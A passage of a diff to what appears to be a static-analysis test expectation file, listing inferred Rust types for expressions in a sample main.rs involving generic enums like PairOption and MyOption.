main.rs:910:15:910:17 | Snd | +| main.rs:916:49:916:51 | snd | | main.rs:910:15:910:17 | Snd | +| main.rs:942:10:942:10 | t | | main.rs:902:5:908:5 | PairOption | +| main.rs:942:10:942:10 | t | Fst | main.rs:924:5:925:14 | S2 | +| main.rs:942:10:942:10 | t | Snd | main.rs:902:5:908:5 | PairOption | +| main.rs:942:10:942:10 | t | Snd.Fst | main.rs:924:5:925:14 | S2 | +| main.rs:942:10:942:10 | t | Snd.Snd | main.rs:927:5:928:14 | S3 | +| main.rs:943:13:943:13 | x | | main.rs:927:5:928:14 | S3 | +| main.rs:943:17:943:17 | t | | main.rs:902:5:908:5 | PairOption | +| main.rs:943:17:943:17 | t | Fst | main.rs:924:5:925:14 | S2 | +| main.rs:943:17:943:17 | t | Snd | main.rs:902:5:908:5 | PairOption | +| main.rs:943:17:943:17 | t | Snd.Fst | main.rs:924:5:925:14 | S2 | +| main.rs:943:17:943:17 | t | Snd.Snd | main.rs:927:5:928:14 | S3 | +| main.rs:943:17:943:29 | t.unwrapSnd() | | main.rs:902:5:908:5 | PairOption | +| main.rs:943:17:943:29 | t.unwrapSnd() | Fst | main.rs:924:5:925:14 | S2 | +| main.rs:943:17:943:29 | t.unwrapSnd() | Snd | main.rs:927:5:928:14 | S3 | +| main.rs:943:17:943:41 | ... .unwrapSnd() | | main.rs:927:5:928:14 | S3 | +| main.rs:944:18:944:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:944:26:944:26 | x | | main.rs:927:5:928:14 | S3 | +| main.rs:949:13:949:14 | p1 | | main.rs:902:5:908:5 | PairOption | +| main.rs:949:13:949:14 | p1 | Fst | main.rs:921:5:922:14 | S1 | +| main.rs:949:13:949:14 | p1 | Snd | main.rs:924:5:925:14 | S2 | +| main.rs:949:26:949:53 | ...::PairBoth(...) | | main.rs:902:5:908:5 | PairOption | +| main.rs:949:26:949:53 | ...::PairBoth(...) | Fst | main.rs:921:5:922:14 | S1 | +| main.rs:949:26:949:53 | ...::PairBoth(...) | Snd | main.rs:924:5:925:14 | S2 | +| main.rs:949:47:949:48 | S1 | | main.rs:921:5:922:14 | S1 | +| main.rs:949:51:949:52 | S2 | | main.rs:924:5:925:14 | S2 | +| main.rs:950:18:950:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:950:26:950:27 | p1 | | main.rs:902:5:908:5 | PairOption | +| main.rs:950:26:950:27 | p1 | Fst | main.rs:921:5:922:14 | S1 | +| main.rs:950:26:950:27 | p1 | Snd | main.rs:924:5:925:14 | S2 | +| main.rs:953:13:953:14 | p2 | | main.rs:902:5:908:5 | PairOption | +| main.rs:953:13:953:14 | p2 | Fst | main.rs:921:5:922:14 | S1 | +| main.rs:953:13:953:14 | p2 | Snd | main.rs:924:5:925:14 | S2 | +| main.rs:953:26:953:47 | ...::PairNone(...) | | main.rs:902:5:908:5 | PairOption | +| main.rs:953:26:953:47 | ...::PairNone(...) | Fst | main.rs:921:5:922:14 | S1 | +| main.rs:953:26:953:47 | ...::PairNone(...) | Snd | main.rs:924:5:925:14 | S2 | +| main.rs:954:18:954:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:954:26:954:27 | p2 | | main.rs:902:5:908:5 | PairOption | +| main.rs:954:26:954:27 | p2 | Fst | main.rs:921:5:922:14 | S1 | +| main.rs:954:26:954:27 | p2 | Snd | main.rs:924:5:925:14 | S2 | +| main.rs:957:13:957:14 | p3 | | main.rs:902:5:908:5 | PairOption | +| main.rs:957:13:957:14 | p3 | Fst | main.rs:924:5:925:14 | S2 | +| main.rs:957:13:957:14 | p3 | Snd | main.rs:927:5:928:14 | S3 | +| main.rs:957:34:957:56 | ...::PairSnd(...) | | main.rs:902:5:908:5 | PairOption | +| main.rs:957:34:957:56 | ...::PairSnd(...) | Fst | main.rs:924:5:925:14 | S2 | +| main.rs:957:34:957:56 | ...::PairSnd(...) | Snd | main.rs:927:5:928:14 | S3 | +| main.rs:957:54:957:55 | S3 | | main.rs:927:5:928:14 | S3 | +| main.rs:958:18:958:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:958:26:958:27 | p3 | | main.rs:902:5:908:5 | PairOption | +| main.rs:958:26:958:27 | p3 | Fst | main.rs:924:5:925:14 | S2 | +| main.rs:958:26:958:27 | p3 | Snd | main.rs:927:5:928:14 | S3 | +| main.rs:961:13:961:14 | p3 | | main.rs:902:5:908:5 | PairOption | +| main.rs:961:13:961:14 | p3 | Fst | main.rs:924:5:925:14 | S2 | +| main.rs:961:13:961:14 | p3 | Snd | main.rs:927:5:928:14 | S3 | +| main.rs:961:35:961:56 | ...::PairNone(...) | | main.rs:902:5:908:5 | PairOption | +| main.rs:961:35:961:56 | ...::PairNone(...) | Fst | main.rs:924:5:925:14 | S2 | +| main.rs:961:35:961:56 | ...::PairNone(...) | Snd | main.rs:927:5:928:14 | S3 | +| main.rs:962:18:962:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:962:26:962:27 | p3 | | main.rs:902:5:908:5 | PairOption | +| main.rs:962:26:962:27 | p3 | Fst | main.rs:924:5:925:14 | S2 | +| main.rs:962:26:962:27 | p3 | Snd | main.rs:927:5:928:14 | S3 | +| main.rs:964:11:964:54 | ...::PairSnd(...) | | main.rs:902:5:908:5 | PairOption | +| main.rs:964:11:964:54 | ...::PairSnd(...) | Fst | main.rs:924:5:925:14 | S2 | +| main.rs:964:11:964:54 | ...::PairSnd(...) | Snd | main.rs:902:5:908:5 | PairOption | +| main.rs:964:11:964:54 | ...::PairSnd(...) | Snd.Fst | main.rs:924:5:925:14 | S2 | +| main.rs:964:11:964:54 | ...::PairSnd(...) | Snd.Snd | main.rs:927:5:928:14 | S3 | +| main.rs:964:31:964:53 | ...::PairSnd(...) | | main.rs:902:5:908:5 | PairOption | +| main.rs:964:31:964:53 | ...::PairSnd(...) | Fst | main.rs:924:5:925:14 | S2 | +| main.rs:964:31:964:53 | ...::PairSnd(...) | Snd | main.rs:927:5:928:14 | S3 | +| main.rs:964:51:964:52 | S3 | | main.rs:927:5:928:14 | S3 | +| main.rs:977:16:977:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:977:16:977:24 | SelfParam | &T | main.rs:975:5:982:5 | Self [trait MyTrait] | +| main.rs:977:27:977:31 | value | | main.rs:975:19:975:19 | S | +| main.rs:979:21:979:29 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:979:21:979:29 | SelfParam | &T | main.rs:975:5:982:5 | Self [trait MyTrait] | +| main.rs:979:32:979:36 | value | | main.rs:975:19:975:19 | S | +| main.rs:980:13:980:16 | self | | file://:0:0:0:0 | & | +| main.rs:980:13:980:16 | self | &T | main.rs:975:5:982:5 | Self [trait MyTrait] | +| main.rs:980:22:980:26 | value | | main.rs:975:19:975:19 | S | +| main.rs:986:16:986:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:986:16:986:24 | SelfParam | &T | main.rs:969:5:973:5 | MyOption | +| main.rs:986:16:986:24 | SelfParam | &T.T | main.rs:984:10:984:10 | T | +| main.rs:986:27:986:31 | value | | main.rs:984:10:984:10 | T | +| main.rs:990:26:992:9 | { ... } | | main.rs:969:5:973:5 | MyOption | +| main.rs:990:26:992:9 | { ... } | T | main.rs:989:10:989:10 | T | +| main.rs:991:13:991:30 | ...::MyNone(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:991:13:991:30 | ...::MyNone(...) | T | main.rs:989:10:989:10 | T | +| main.rs:996:20:996:23 | SelfParam | | main.rs:969:5:973:5 | MyOption | +| main.rs:996:20:996:23 | SelfParam | T | main.rs:969:5:973:5 | MyOption | +| main.rs:996:20:996:23 | SelfParam | T.T | main.rs:995:10:995:10 | T | +| main.rs:996:41:1001:9 | { ... } | | main.rs:969:5:973:5 | MyOption | +| main.rs:996:41:1001:9 | { ... } | T | main.rs:995:10:995:10 | T | +| main.rs:997:13:1000:13 | match self { ... } | | main.rs:969:5:973:5 | MyOption | +| main.rs:997:13:1000:13 | match self { ... } | T | main.rs:995:10:995:10 | T | +| main.rs:997:19:997:22 | self | | main.rs:969:5:973:5 | MyOption | +| main.rs:997:19:997:22 | self | T | main.rs:969:5:973:5 | MyOption | +| main.rs:997:19:997:22 | self | T.T | main.rs:995:10:995:10 | T | +| main.rs:998:39:998:56 | ...::MyNone(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:998:39:998:56 | ...::MyNone(...) | T | main.rs:995:10:995:10 | T | +| main.rs:999:34:999:34 | x | | main.rs:969:5:973:5 | MyOption | +| main.rs:999:34:999:34 | x | T | main.rs:995:10:995:10 | T | +| main.rs:999:40:999:40 | x | | main.rs:969:5:973:5 | MyOption | +| main.rs:999:40:999:40 | x | T | main.rs:995:10:995:10 | T | +| main.rs:1008:13:1008:14 | x1 | | main.rs:969:5:973:5 | MyOption | +| main.rs:1008:18:1008:37 | ...::new(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:1009:18:1009:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1009:26:1009:27 | x1 | | main.rs:969:5:973:5 | MyOption | +| main.rs:1011:13:1011:18 | mut x2 | | main.rs:969:5:973:5 | MyOption | +| main.rs:1011:13:1011:18 | mut x2 | T | main.rs:1004:5:1005:13 | S | +| main.rs:1011:22:1011:36 | ...::new(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:1011:22:1011:36 | ...::new(...) | T | main.rs:1004:5:1005:13 | S | +| main.rs:1012:9:1012:10 | x2 | | main.rs:969:5:973:5 | MyOption | +| main.rs:1012:9:1012:10 | x2 | T | main.rs:1004:5:1005:13 | S | +| main.rs:1012:16:1012:16 | S | | main.rs:1004:5:1005:13 | S | +| main.rs:1013:18:1013:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1013:26:1013:27 | x2 | | main.rs:969:5:973:5 | MyOption | +| main.rs:1013:26:1013:27 | x2 | T | main.rs:1004:5:1005:13 | S | +| main.rs:1015:13:1015:18 | mut x3 | | main.rs:969:5:973:5 | MyOption | +| main.rs:1015:22:1015:36 | ...::new(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:1016:9:1016:10 | x3 | | main.rs:969:5:973:5 | MyOption | +| main.rs:1016:21:1016:21 | S | | main.rs:1004:5:1005:13 | S | +| main.rs:1017:18:1017:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1017:26:1017:27 | x3 | | main.rs:969:5:973:5 | MyOption | +| main.rs:1019:13:1019:18 | mut x4 | | main.rs:969:5:973:5 | MyOption | +| main.rs:1019:13:1019:18 | mut x4 | T | main.rs:1004:5:1005:13 | S | +| main.rs:1019:22:1019:36 | ...::new(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:1019:22:1019:36 | ...::new(...) | T | main.rs:1004:5:1005:13 | S | +| main.rs:1020:23:1020:29 | &mut x4 | | file://:0:0:0:0 | & | +| main.rs:1020:23:1020:29 | &mut x4 | &T | main.rs:969:5:973:5 | MyOption | +| main.rs:1020:23:1020:29 | &mut x4 | &T.T | main.rs:1004:5:1005:13 | S | +| main.rs:1020:28:1020:29 | x4 | | main.rs:969:5:973:5 | MyOption | +| main.rs:1020:28:1020:29 | x4 | T | main.rs:1004:5:1005:13 | S | +| main.rs:1020:32:1020:32 | S | | main.rs:1004:5:1005:13 | S | +| main.rs:1021:18:1021:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1021:26:1021:27 | x4 | | main.rs:969:5:973:5 | MyOption | +| main.rs:1021:26:1021:27 | x4 | T | main.rs:1004:5:1005:13 | S | +| main.rs:1023:13:1023:14 | x5 | | main.rs:969:5:973:5 | MyOption | +| main.rs:1023:13:1023:14 | x5 | T | main.rs:969:5:973:5 | MyOption | +| main.rs:1023:13:1023:14 | x5 | T.T | main.rs:1004:5:1005:13 | S | +| main.rs:1023:18:1023:58 | ...::MySome(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:1023:18:1023:58 | ...::MySome(...) | T | main.rs:969:5:973:5 | MyOption | +| main.rs:1023:18:1023:58 | ...::MySome(...) | T.T | main.rs:1004:5:1005:13 | S | +| main.rs:1023:35:1023:57 | ...::MyNone(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:1023:35:1023:57 | ...::MyNone(...) | T | main.rs:1004:5:1005:13 | S | +| main.rs:1024:18:1024:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1024:26:1024:27 | x5 | | main.rs:969:5:973:5 | MyOption | +| main.rs:1024:26:1024:27 | x5 | T | main.rs:969:5:973:5 | MyOption | +| main.rs:1024:26:1024:27 | x5 | T.T | main.rs:1004:5:1005:13 | S | +| main.rs:1024:26:1024:37 | x5.flatten() | | main.rs:969:5:973:5 | MyOption | +| main.rs:1024:26:1024:37 | x5.flatten() | T | main.rs:1004:5:1005:13 | S | +| main.rs:1026:13:1026:14 | x6 | | main.rs:969:5:973:5 | MyOption | +| main.rs:1026:13:1026:14 | x6 | T | main.rs:969:5:973:5 | MyOption | +| main.rs:1026:13:1026:14 | x6 | T.T | main.rs:1004:5:1005:13 | S | +| main.rs:1026:18:1026:58 | ...::MySome(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:1026:18:1026:58 | ...::MySome(...) | T | main.rs:969:5:973:5 | MyOption | +| main.rs:1026:18:1026:58 | ...::MySome(...) | T.T | main.rs:1004:5:1005:13 | S | +| main.rs:1026:35:1026:57 | ...::MyNone(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:1026:35:1026:57 | ...::MyNone(...) | T | main.rs:1004:5:1005:13 | S | +| main.rs:1027:18:1027:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1027:26:1027:61 | ...::flatten(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:1027:26:1027:61 | ...::flatten(...) | T | main.rs:1004:5:1005:13 | S | +| main.rs:1027:59:1027:60 | x6 | | main.rs:969:5:973:5 | MyOption | +| main.rs:1027:59:1027:60 | x6 | T | main.rs:969:5:973:5 | MyOption | +| main.rs:1027:59:1027:60 | x6 | T.T | main.rs:1004:5:1005:13 | S | +| main.rs:1030:13:1030:19 | from_if | | main.rs:969:5:973:5 | MyOption | +| main.rs:1030:13:1030:19 | from_if | T | main.rs:1004:5:1005:13 | S | +| main.rs:1030:23:1034:9 | if ... {...} else {...} | | main.rs:969:5:973:5 | MyOption | +| main.rs:1030:23:1034:9 | if ... {...} else {...} | T | main.rs:1004:5:1005:13 | S | +| main.rs:1030:26:1030:26 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1030:30:1030:30 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1030:32:1032:9 | { ... } | | main.rs:969:5:973:5 | MyOption | +| main.rs:1030:32:1032:9 | { ... } | T | main.rs:1004:5:1005:13 | S | +| main.rs:1031:13:1031:30 | ...::MyNone(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:1031:13:1031:30 | ...::MyNone(...) | T | main.rs:1004:5:1005:13 | S | +| main.rs:1032:16:1034:9 | { ... } | | main.rs:969:5:973:5 | MyOption | +| main.rs:1032:16:1034:9 | { ... } | T | main.rs:1004:5:1005:13 | S | +| main.rs:1033:13:1033:31 | ...::MySome(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:1033:13:1033:31 | ...::MySome(...) | T | main.rs:1004:5:1005:13 | S | +| main.rs:1033:30:1033:30 | S | | main.rs:1004:5:1005:13 | S | +| main.rs:1035:18:1035:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1035:26:1035:32 | from_if | | main.rs:969:5:973:5 | MyOption | +| main.rs:1035:26:1035:32 | from_if | T | main.rs:1004:5:1005:13 | S | +| main.rs:1038:13:1038:22 | from_match | | main.rs:969:5:973:5 | MyOption | +| main.rs:1038:13:1038:22 | from_match | T | main.rs:1004:5:1005:13 | S | +| main.rs:1038:26:1041:9 | match ... { ... } | | main.rs:969:5:973:5 | MyOption | +| main.rs:1038:26:1041:9 | match ... { ... } | T | main.rs:1004:5:1005:13 | S | +| main.rs:1038:32:1038:32 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1038:36:1038:36 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1039:13:1039:16 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1039:21:1039:38 | ...::MyNone(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:1039:21:1039:38 | ...::MyNone(...) | T | main.rs:1004:5:1005:13 | S | +| main.rs:1040:13:1040:17 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1040:22:1040:40 | ...::MySome(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:1040:22:1040:40 | ...::MySome(...) | T | main.rs:1004:5:1005:13 | S | +| main.rs:1040:39:1040:39 | S | | main.rs:1004:5:1005:13 | S | +| main.rs:1042:18:1042:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1042:26:1042:35 | from_match | | main.rs:969:5:973:5 | MyOption | +| main.rs:1042:26:1042:35 | from_match | T | main.rs:1004:5:1005:13 | S | +| main.rs:1045:13:1045:21 | from_loop | | main.rs:969:5:973:5 | MyOption | +| main.rs:1045:13:1045:21 | from_loop | T | main.rs:1004:5:1005:13 | S | +| main.rs:1045:25:1050:9 | loop { ... } | | main.rs:969:5:973:5 | MyOption | +| main.rs:1045:25:1050:9 | loop { ... } | T | main.rs:1004:5:1005:13 | S | +| main.rs:1046:16:1046:16 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1046:20:1046:20 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1047:23:1047:40 | ...::MyNone(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:1047:23:1047:40 | ...::MyNone(...) | T | main.rs:1004:5:1005:13 | S | +| main.rs:1049:19:1049:37 | ...::MySome(...) | | main.rs:969:5:973:5 | MyOption | +| main.rs:1049:19:1049:37 | ...::MySome(...) | T | main.rs:1004:5:1005:13 | S | +| main.rs:1049:36:1049:36 | S | | main.rs:1004:5:1005:13 | S | +| main.rs:1051:18:1051:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1051:26:1051:34 | from_loop | | main.rs:969:5:973:5 | MyOption | +| main.rs:1051:26:1051:34 | from_loop | T | main.rs:1004:5:1005:13 | S | +| main.rs:1064:15:1064:18 | SelfParam | | main.rs:1057:5:1058:19 | S | +| main.rs:1064:15:1064:18 | SelfParam | T | main.rs:1063:10:1063:10 | T | +| main.rs:1064:26:1066:9 | { ... } | | main.rs:1063:10:1063:10 | T | +| main.rs:1065:13:1065:16 | self | | main.rs:1057:5:1058:19 | S | +| main.rs:1065:13:1065:16 | self | T | main.rs:1063:10:1063:10 | T | +| main.rs:1065:13:1065:18 | self.0 | | main.rs:1063:10:1063:10 | T | +| main.rs:1068:15:1068:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1068:15:1068:19 | SelfParam | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1068:15:1068:19 | SelfParam | &T.T | main.rs:1063:10:1063:10 | T | +| main.rs:1068:28:1070:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1068:28:1070:9 | { ... } | &T | main.rs:1063:10:1063:10 | T | +| main.rs:1069:13:1069:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1069:13:1069:19 | &... | &T | main.rs:1063:10:1063:10 | T | +| main.rs:1069:14:1069:17 | self | | file://:0:0:0:0 | & | +| main.rs:1069:14:1069:17 | self | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1069:14:1069:17 | self | &T.T | main.rs:1063:10:1063:10 | T | +| main.rs:1069:14:1069:19 | self.0 | | main.rs:1063:10:1063:10 | T | +| main.rs:1072:15:1072:25 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1072:15:1072:25 | SelfParam | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1072:15:1072:25 | SelfParam | &T.T | main.rs:1063:10:1063:10 | T | +| main.rs:1072:34:1074:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1072:34:1074:9 | { ... } | &T | main.rs:1063:10:1063:10 | T | +| main.rs:1073:13:1073:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1073:13:1073:19 | &... | &T | main.rs:1063:10:1063:10 | T | +| main.rs:1073:14:1073:17 | self | | file://:0:0:0:0 | & | +| main.rs:1073:14:1073:17 | self | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1073:14:1073:17 | self | &T.T | main.rs:1063:10:1063:10 | T | +| main.rs:1073:14:1073:19 | self.0 | | main.rs:1063:10:1063:10 | T | +| main.rs:1078:13:1078:14 | x1 | | main.rs:1057:5:1058:19 | S | +| main.rs:1078:13:1078:14 | x1 | T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1078:18:1078:22 | S(...) | | main.rs:1057:5:1058:19 | S | +| main.rs:1078:18:1078:22 | S(...) | T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1078:20:1078:21 | S2 | | main.rs:1060:5:1061:14 | S2 | | main.rs:1079:18:1079:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1079:26:1079:27 | x2 | | main.rs:1052:5:1053:19 | S | -| main.rs:1079:26:1079:27 | x2 | T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1079:26:1079:32 | x2.m3() | | file://:0:0:0:0 | & | -| main.rs:1079:26:1079:32 | x2.m3() | &T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1081:13:1081:14 | x3 | | main.rs:1052:5:1053:19 | S | -| main.rs:1081:13:1081:14 | x3 | T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1081:18:1081:22 | S(...) | | main.rs:1052:5:1053:19 | S | -| main.rs:1081:18:1081:22 | S(...) | T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1081:20:1081:21 | S2 | | main.rs:1055:5:1056:14 | S2 | +| main.rs:1079:26:1079:27 | x1 | | main.rs:1057:5:1058:19 | S | +| main.rs:1079:26:1079:27 | x1 | T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1079:26:1079:32 | x1.m1() | | main.rs:1060:5:1061:14 | S2 | +| main.rs:1081:13:1081:14 | x2 | | main.rs:1057:5:1058:19 | S | +| main.rs:1081:13:1081:14 | x2 | T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1081:18:1081:22 | S(...) | | main.rs:1057:5:1058:19 | S | +| main.rs:1081:18:1081:22 | S(...) | T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1081:20:1081:21 | S2 | | main.rs:1060:5:1061:14 | S2 | | main.rs:1083:18:1083:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1083:26:1083:41 | ...::m2(...) | | file://:0:0:0:0 | & | -| main.rs:1083:26:1083:41 | ...::m2(...) | &T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1083:38:1083:40 | &x3 | | file://:0:0:0:0 | & | -| main.rs:1083:38:1083:40 | &x3 | &T | main.rs:1052:5:1053:19 | S | -| main.rs:1083:38:1083:40 | &x3 | &T.T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1083:39:1083:40 | x3 | | main.rs:1052:5:1053:19 | S | -| main.rs:1083:39:1083:40 | x3 | T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1083:26:1083:27 | x2 | | main.rs:1057:5:1058:19 | S | +| main.rs:1083:26:1083:27 | x2 | T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1083:26:1083:32 | x2.m2() | | file://:0:0:0:0 | & | +| main.rs:1083:26:1083:32 | x2.m2() | &T | main.rs:1060:5:1061:14 | S2 | | main.rs:1084:18:1084:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1084:26:1084:41 | ...::m3(...) | | file://:0:0:0:0 | & | -| main.rs:1084:26:1084:41 | ...::m3(...) | &T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1084:38:1084:40 | &x3 | | file://:0:0:0:0 | & | -| main.rs:1084:38:1084:40 | &x3 | &T | main.rs:1052:5:1053:19 | S | -| main.rs:1084:38:1084:40 | &x3 | &T.T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1084:39:1084:40 | x3 | | main.rs:1052:5:1053:19 | S | -| main.rs:1084:39:1084:40 | x3 | T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1086:13:1086:14 | x4 | | file://:0:0:0:0 | & | -| main.rs:1086:13:1086:14 | x4 | &T | main.rs:1052:5:1053:19 | S | -| main.rs:1086:13:1086:14 | x4 | &T.T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1086:18:1086:23 | &... | | file://:0:0:0:0 | & | -| main.rs:1086:18:1086:23 | &... | &T | main.rs:1052:5:1053:19 | S | -| main.rs:1086:18:1086:23 | &... | &T.T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1086:19:1086:23 | S(...) | | main.rs:1052:5:1053:19 | S | -| main.rs:1086:19:1086:23 | S(...) | T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1086:21:1086:22 | S2 | | main.rs:1055:5:1056:14 | S2 | +| main.rs:1084:26:1084:27 | x2 | | main.rs:1057:5:1058:19 | S | +| main.rs:1084:26:1084:27 | x2 | T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1084:26:1084:32 | x2.m3() | | file://:0:0:0:0 | & | +| main.rs:1084:26:1084:32 | x2.m3() | &T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1086:13:1086:14 | x3 | | main.rs:1057:5:1058:19 | S | +| main.rs:1086:13:1086:14 | x3 | T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1086:18:1086:22 | S(...) | | main.rs:1057:5:1058:19 | S | +| main.rs:1086:18:1086:22 | S(...) | T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1086:20:1086:21 | S2 | | main.rs:1060:5:1061:14 | S2 | | main.rs:1088:18:1088:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1088:26:1088:27 | x4 | | file://:0:0:0:0 | & | -| main.rs:1088:26:1088:27 | x4 | &T | main.rs:1052:5:1053:19 | S | -| main.rs:1088:26:1088:27 | x4 | &T.T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1088:26:1088:32 | x4.m2() | | file://:0:0:0:0 | & | -| main.rs:1088:26:1088:32 | x4.m2() | &T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1088:26:1088:41 | ...::m2(...) | | file://:0:0:0:0 | & | +| main.rs:1088:26:1088:41 | ...::m2(...) | &T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1088:38:1088:40 | &x3 | | file://:0:0:0:0 | & | +| main.rs:1088:38:1088:40 | &x3 | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1088:38:1088:40 | &x3 | &T.T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1088:39:1088:40 | x3 | | main.rs:1057:5:1058:19 | S | +| main.rs:1088:39:1088:40 | x3 | T | main.rs:1060:5:1061:14 | S2 | | main.rs:1089:18:1089:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:1089:26:1089:27 | x4 | | file://:0:0:0:0 | & | -| main.rs:1089:26:1089:27 | x4 | &T | main.rs:1052:5:1053:19 | S | -| main.rs:1089:26:1089:27 | x4 | &T.T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1089:26:1089:32 | x4.m3() | | file://:0:0:0:0 | & | -| main.rs:1089:26:1089:32 | x4.m3() | &T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1091:13:1091:14 | x5 | | file://:0:0:0:0 | & | -| main.rs:1091:13:1091:14 | x5 | &T | main.rs:1052:5:1053:19 | S | -| main.rs:1091:13:1091:14 | x5 | &T.T | main.rs:1055:5:1056:14 | S2 | +| main.rs:1089:26:1089:41 | ...::m3(...) | | file://:0:0:0:0 | & | +| main.rs:1089:26:1089:41 | ...::m3(...) | &T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1089:38:1089:40 | &x3 | | file://:0:0:0:0 | & | +| main.rs:1089:38:1089:40 | &x3 | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1089:38:1089:40 | &x3 | &T.T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1089:39:1089:40 | x3 | | main.rs:1057:5:1058:19 | S | +| main.rs:1089:39:1089:40 | x3 | T | main.rs:1060:5:1061:14 | S2 | +| main.rs:1091:13:1091:14 | x4 | | file://:0:0:0:0 | & | +| main.rs:1091:13:1091:14 | x4 | &T | main.rs:1057:5:1058:19 | S | +| main.rs:1091:13:1091:14 | x4 | &T.T | main.rs:1060:5:1061:14 | S2 | | main.rs:1091:18:1091:23 | &... | | file://:0:0:0:0 | & | -| main.rs:1091:18:1091:23 | &... | &T | main.rs:1052:5:1053:19 | S | -| main.rs:1091:18:1091:23 | &... | &T.T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1091:19:1091:23 | S(...) | | main.rs:1052:5:1053:19 | S | -| main.rs:1091:19:1091:23 | S(...) | T | main.rs:1055:5:1056:14 | S2 | -| main.rs:1091:21:1091:22 | S2 | | main.rs:1055:5:1056:14 | S2 | +| main.rs:1091:18:1091:23 | &... | &T | 